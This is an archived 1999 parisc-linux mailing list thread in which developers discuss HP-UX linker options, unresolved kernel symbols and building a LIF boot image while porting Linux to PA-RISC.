Original-Received: (qmail 19291 invoked from network); 18 Jun 1999 07:31:46 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 07:31:46 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id BAA13169;
	Fri, 18 Jun 1999 01:26:21 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 18 Jun 1999 03:22:21 EDT.
             <3769F3AD.DF068942@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9573


  In message <3769F3AD.DF068942@thepuffingroup.com>you write:
  > - we need an HPUX ld linker script to resolve the vmlinux building,
  > what's the format for this?
No such animal that I'm aware of.

There is some rough ordering control using the space/subspace sort keys, but
you don't get absolute control over where stuff ends up in memory.

In what ways do you need to control the layout of stuff in memory?

jeff



From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 09:05:50 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <199906181305.JAA06811@hiauly1.hia.nrc.ca>
References: <3769F3AD.DF068942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619650 12139 80.91.229.3 (22 Nov 2014 01:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 18 07:05:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA23934
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 07:05:53 -0600
Original-Received: (qmail 15367 invoked by uid 15267); 18 Jun 1999 13:05:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15356 invoked from network); 18 Jun 1999 13:05:26 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 13:05:26 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id JAA06811;
	Fri, 18 Jun 1999 09:05:50 -0400 (EDT)
In-Reply-To: <3769F3AD.DF068942@thepuffingroup.com> from "Alex deVries" at Jun 18, 99 03:22:21 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9574

You probably want to use the same link options as Jason used for the IPL:

-N -R address.

The address specified should match the location where the kernel is
loaded into the LIF image.  The -N places the $DATA$ section after
the $CODE$ section in low memory.  The +n option that was being used
in the Makefile has the $DATA$ section in the 0x40000000 quadrant.  
This is wrong for the kernel.

After the kernel is built, take a look at where the sections start
in SOM executable.  Each section must be copied to its corresponding
starting address in the LIF image.  Space must be reserved for the bss
data if there is a section after it that contains necessary data.

Dave

> 
> 
> After an enormous amount of frustration (with fault only to me, I should
> have thought that there was a second bootpserver on my network), the
> kernel tree in CVS actually builds on HPUX.  This is really just Jason's
> work glued into the kernel tree.
> 
> Next:
> 
> - we need an HPUX ld linker script to resolve the vmlinux building,
> what's the format for this?
> 
> - we need to figure out why the bootloader gives an error when loading
> the kernel into memory
> 
> - Alex
> 
> -- 
> Alex deVries
> Vice President of Engineering
> The Puffin Group
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 10:04:37 -0400
Organization: The Puffin Group
Lines: 48
Approved: news@gmane.org
Message-ID: <376A51F5.D38ECFFC@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619650 12143 80.91.229.3 (22 Nov 2014 01:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 18 07:56:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA24152
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 07:56:28 -0600
Original-Received: (qmail 23751 invoked by uid 15267); 18 Jun 1999 13:56:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23744 invoked from network); 18 Jun 1999 13:56:02 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 13:56:02 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id KAA01701
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Jun 1999 10:04:37 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9575


John David Anglin wrote:
> You probably want to use the same link options as Jason used for the IPL:
> -N -R address.

Ah, okay.

> After the kernel is built, take a look at where the sections start
> in SOM executable.  Each section must be copied to its corresponding
> starting address in the LIF image.  Space must be reserved for the bss
> data if there is a section after it that contains necessary data.

Should I be using objcopy to cut these sections out of my SOM executable
and into the LIF image?

Two other problems I have:

1. The kernel doesn't build yet, it fails to link and dies with:


ld -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o
init/main.o init/version.o \
        arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o
mm/mm.o fs/fs.o ipc/ipc.o \
        fs/filesystems.a \
        net/network.a \
        drivers/block/block.a drivers/char/char.a  drivers/net/net.a \
        /usr/src/linux/arch/parisc/lib/lib.a /usr/src/linux/lib/lib.a
/usr/src/linux/arch/parisc/lib/lib.a \
        -o vmlinux
ld: Unsatisfied symbols:
   swapper_pg_dir (data)
   _stext (data)

I haven't yet figured out how to solve this.

2. The bootloader within the kernel tries to load the vmlinux into
memory, but dies by returning -6 at the P0_BOOTDEV_iodc_io() call within
bootdev_sread() in rom _interface.c.  I should be able to figure out
what's going on here...


- A
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 11:04:39 -0400 (EDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <199906181504.LAA07298@hiauly1.hia.nrc.ca>
References: <376A51F5.D38ECFFC@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619651 12144 80.91.229.3 (22 Nov 2014 01:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 18 09:04:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA24422
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 09:04:42 -0600
Original-Received: (qmail 4019 invoked by uid 15267); 18 Jun 1999 15:04:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4009 invoked from network); 18 Jun 1999 15:04:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 15:04:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA07298;
	Fri, 18 Jun 1999 11:04:39 -0400 (EDT)
In-Reply-To: <376A51F5.D38ECFFC@thepuffingroup.com> from "Alex deVries" at Jun 18, 99 10:04:37 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9576

> 
> 
> John David Anglin wrote:
> > You probably want to use the same link options as Jason used for the IPL:
> > -N -R address.
> 
> Ah, okay.
> 
> > After the kernel is built, take a look at where the sections start
> > in SOM executable.  Each section must be copied to its corresponding
> > starting address in the LIF image.  Space must be reserved for the bss
> > data if there is a section after it that contains necessary data.
> 
> Should I be using objcopy to cut these sections out of my SOM executable
> and into the LIF image?

I don't think so.  While I haven't checked all the options of objcopy,
its basic function is to copy object modules from one file to another.
If it understood the LIF format, it might work but I don't think it
does.  If I understand the situation,  the LIF image gets loaded directly
into memory.  Thus, the code that builds the LIF image must simulate
a loader, putting each section into it appropriate location in the image.
You must assure when the kernel and ipl are linked that the relocation
address of each section agrees with where it is placed in the LIF image
so that all symbols are appropriately relocated.  IPL doesn't do
anything fancy.  It looks like it just loads the kernel after itself
into memory.

After linking, the executable files for the kernel and ipl each have
a header that describe what kind object file they are.  The header also has
info about the sections in the executable.  Ideally, the program that
builds the LIF image would look at the headers in the ipl and kernel
and build the LIF image.  However, you can probably get away with
using a simple program to copy the ipl and kernel files.

You must watch out for the size of the header on each file (file
offset).  The linker script for the ELF format kernel set the origin
for .text to 0x8000.  The corresponding option for the HP linker
would be "-N -R 8000".  When I do this, the file offset to the
start of the $TEXT$ section (the first section in the file) is
0x28000.  Thus, you want to copy starting from 0x28000 in vmlinux
to 0x8000 in the LIF image.

The $BSS$ section is not in the executables since it loads as all
zeros.  However, since it is the last section in the executables
you simply have to ensure that there is enough space between the
kernel and ipl.  You need enough space for the ipl bss data and
its dynamically allocated stack.

> Two other problems I have:
> 
> 1. The kernel doesn't build yet, it fails to link and dies with:
> 
> 
> ld -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o
> init/main.o init/version.o \
>         arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o
> mm/mm.o fs/fs.o ipc/ipc.o \
>         fs/filesystems.a \
>         net/network.a \
>         drivers/block/block.a drivers/char/char.a  drivers/net/net.a \
>         /usr/src/linux/arch/parisc/lib/lib.a /usr/src/linux/lib/lib.a
> /usr/src/linux/arch/parisc/lib/lib.a \
>         -o vmlinux
> ld: Unsatisfied symbols:
>    swapper_pg_dir (data)
>    _stext (data)

You want to export swapper_pg_dir in head.S.  I think in init/main.c,
you should change the declaration for _stext to "extern void _stext ();"
and "&_stext" to "_stext".  The linker thinks _stext is a reference
to data rather than text.  The other option would be to put the address
label _stext into a an exported word in the data section of head.S.  
Main.c could then determine the start of text from this location.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 11:51:28 -0400
Organization: The Puffin Group
Lines: 21
Approved: news@gmane.org
Message-ID: <376A6B00.C1507372@thepuffingroup.com>
References: <3769F3AD.DF068942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619651 12145 80.91.229.3 (22 Nov 2014 01:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 18 09:43:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA24609
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 09:43:21 -0600
Original-Received: (qmail 10073 invoked by uid 15267); 18 Jun 1999 15:42:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10066 invoked from network); 18 Jun 1999 15:42:54 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 15:42:54 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA01777
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Jun 1999 11:51:30 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9577

Alex deVries wrote:
> Next:
> 
> - we need an HPUX ld linker script to resolve the vmlinux building,
> what's the format for this?

Thomas Bogendorfer solved this for us.

> 
> - we need to figure out why the bootloader gives an error when loading
> the kernel into memory

It looks like an IPL problem...

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 09:58:18 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <199906181656.JAA12339@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619651 12146 80.91.229.3 (22 Nov 2014 01:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:31 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
        "Alex deVries" <adevries@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Fri Jun 18 10:56:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA24840
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 10:56:17 -0600
Original-Received: (qmail 23074 invoked by uid 15267); 18 Jun 1999 16:55:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23059 invoked from network); 18 Jun 1999 16:55:49 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 16:55:49 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA27688;
	Fri, 18 Jun 1999 12:55:49 -0400 (EDT)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA12339; Fri, 18 Jun 1999 09:56:11 -0700 (PDT)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9578

>The -N places the $DATA$ section after
>the $CODE$ section in low memory.  The +n option that was being used
>in the Makefile has the $DATA$ section in the 0x40000000 quadrant.  
>This is wrong for the kernel.

The opposite of -N is -n, not +n. The +n option tells the linker to 
search archive libraries iteratively, which I believe is needed for the 
Linux kernel.

The -N option tells the linker to build a "non-shareable" executable, so 
it puts text and data together in one segment. The -n option is the 
default, where shareable text is placed in the first quadrant and data is 
placed in the second quadrant.


Cary Coutant
Hewlett-Packard Co.
Application Delivery Lab


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 13:49:14 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <199906181749.NAA08049@hiauly1.hia.nrc.ca>
References: <199906181656.JAA12339@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619652 12148 80.91.229.3 (22 Nov 2014 01:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:32 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: cary@cup.hp.com (Cary Coutant)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 18 11:57:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA25040
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 11:57:48 -0600
Original-Received: (qmail 1946 invoked by uid 15267); 18 Jun 1999 17:57:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1936 invoked from network); 18 Jun 1999 17:57:21 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 17:57:21 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA08049;
	Fri, 18 Jun 1999 13:49:15 -0400 (EDT)
In-Reply-To: <199906181656.JAA12339@cllmail.cup.hp.com> from "Cary Coutant" at Jun 18, 99 09:58:18 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9579

> 
> >The -N places the $DATA$ section after
> >the $CODE$ section in low memory.  The +n option that was being used
> >in the Makefile has the $DATA$ section in the 0x40000000 quadrant.  
> >This is wrong for the kernel.
> 
> The opposite of -N is -n, not +n. The +n option tells the linker to 
> search archive libraries iteratively, which I believe is needed for the 
> Linux kernel.

Thanks for the information on the +n option.  My old system doesn't
document +n.  However, with the simple configuration that is being
tested, it doesn't seem necessary to link the kernel with +n.  Possibly,
+n will be required when more modules are configured in the kernel.

> The -N option tells the linker to build a "non-shareable" executable, so 
> it puts text and data together in one segment. The -n option is the 
> default, where shareable text is placed in the first quadrant and data is 
> placed in the second quadrant.

Based on the code in the IPL that is being used, it looks like -N
is the correct choice.  The IPL doesn't try to load kernel data
into the second quadrant as far as I can tell.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 12:29:04 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <1617.929730544@upchuck.cygnus.com>
References: <199906181305.JAA06811@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619652 12152 80.91.229.3 (22 Nov 2014 01:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:32 +0000 (UTC)
Cc: adevries@thepuffingroup.com (Alex deVries),
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 18 12:38:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA25247
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 12:38:18 -0600
Original-Received: (qmail 8430 invoked by uid 15267); 18 Jun 1999 18:37:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8099 invoked from network); 18 Jun 1999 18:36:46 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by 206.245.164.55 with SMTP; 18 Jun 1999 18:36:46 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA01620;
	Fri, 18 Jun 1999 12:29:04 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 18 Jun 1999 09:05:50 EDT.
             <199906181305.JAA06811@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:9580

  In message <199906181305.JAA06811@hiauly1.hia.nrc.ca>you write:
  > After the kernel is built, take a look at where the sections start
  > in SOM executable.  Each section must be copied to its corresponding
  > starting address in the LIF image.  Space must be reserved for the bss
  > data if there is a section after it that contains necessary data.
Right.  Use the exec header to find a.out-like boundaries for text, data & bss.

Do not try to build up a memory image using the space/subspace stuff.  You'll
be bitterly disappointed to find out that the info on the space/subspaces is
not wholly accurate in an executable image.

jeff



From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 12:34:23 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <1639.929730863@upchuck.cygnus.com>
References: <376A51F5.D38ECFFC@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619652 12154 80.91.229.3 (22 Nov 2014 01:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 18 12:39:33 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA25352
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 12:39:33 -0600
Original-Received: (qmail 8922 invoked by uid 15267); 18 Jun 1999 18:38:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8911 invoked from network); 18 Jun 1999 18:38:35 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 18:38:35 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA01642;
	Fri, 18 Jun 1999 12:34:23 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 18 Jun 1999 10:04:37 EDT.
             <376A51F5.D38ECFFC@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9581

  In message <376A51F5.D38ECFFC@thepuffingroup.com>you write:
  > Should I be using objcopy to cut these sections out of my SOM executable
  > and into the LIF image?
No, I doubt objcopy knows about LIF (I've certainly never bothered to 
describe LIF to objcopy/bfd).

Utah's releases had code to do this kind of thing.  Or you might be able to use
the lif tools on hpux (ls /usr/bin/lif*).


jeff



From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 15:16:09 -0400
Organization: The Puffin Group
Lines: 49
Approved: news@gmane.org
Message-ID: <376A9AF9.5F3DB326@thepuffingroup.com>
References: <199906181504.LAA07298@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619653 12156 80.91.229.3 (22 Nov 2014 01:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: adevries@thepuffingroup.com  Fri Jun 18 13:08:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA25635
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 13:08:50 -0600
Original-Received: (qmail 14954 invoked by uid 15267); 18 Jun 1999 19:08:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14946 invoked from network); 18 Jun 1999 19:08:20 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 19:08:20 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA01957;
	Fri, 18 Jun 1999 15:16:14 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9582

John David Anglin wrote:
> 
> 
> After linking, the executable files for the kernel and ipl each have
> a header that describe what kind object file they are.  The header also has
> info about the sections in the executable.  Ideally, the program that
> builds the LIF image would look at the headers in the ipl and kernel
> and build the LIF image.  However, you can probably get away with
> using a simple program to copy the ipl and kernel files.

That all exists in the tools in linux/arch/parisc/hp/boot/boot_tools. 

> 
> You must watch out for the size of the header on each file (file
> offset).  The linker script for the ELF format kernel set the origin
> for .text to 0x8000.  The corresponding option for the HP linker
> would be "-N -R 8000".  When I do this, the file offset to the
> start of the $TEXT$ section (the first section in the file) is
> 0x28000.  Thus, you want to copy starting from 0x28000 in vmlinux
> to 0x8000 in the LIF image.

Oh, okay.  The linker stuff has all been sorted out (and is in CVS now).

So, here's how you can boot this bootloader:
- on HPUX, install gnu gcc and binutils
- check out the latest kernel tree
- do a 'make config ; make dep ; make vmlinux; make Image'
- boot linux/arch/parisc/hp/boot/Image

It should boot and end with:


Loading kernel...done.
Transferring control to the kernel. (At entry point 0x00008000)

and then hang completely.

The next step is to develop a small mini kernel that we can use to test
the launching. It should just print "Hello world" to the screen using
IODC.  There's lots of example code in the bootloader, so this should be
pretty simple.

- Alex "white water rafting this weekend, far away from PA RISC
equipment" deVries
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace/truss/par equivalent for HP-UX
Date: Sun, 20 Jun 1999 08:49:18 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19990620084918.H30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619653 12157 80.91.229.3 (22 Nov 2014 01:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
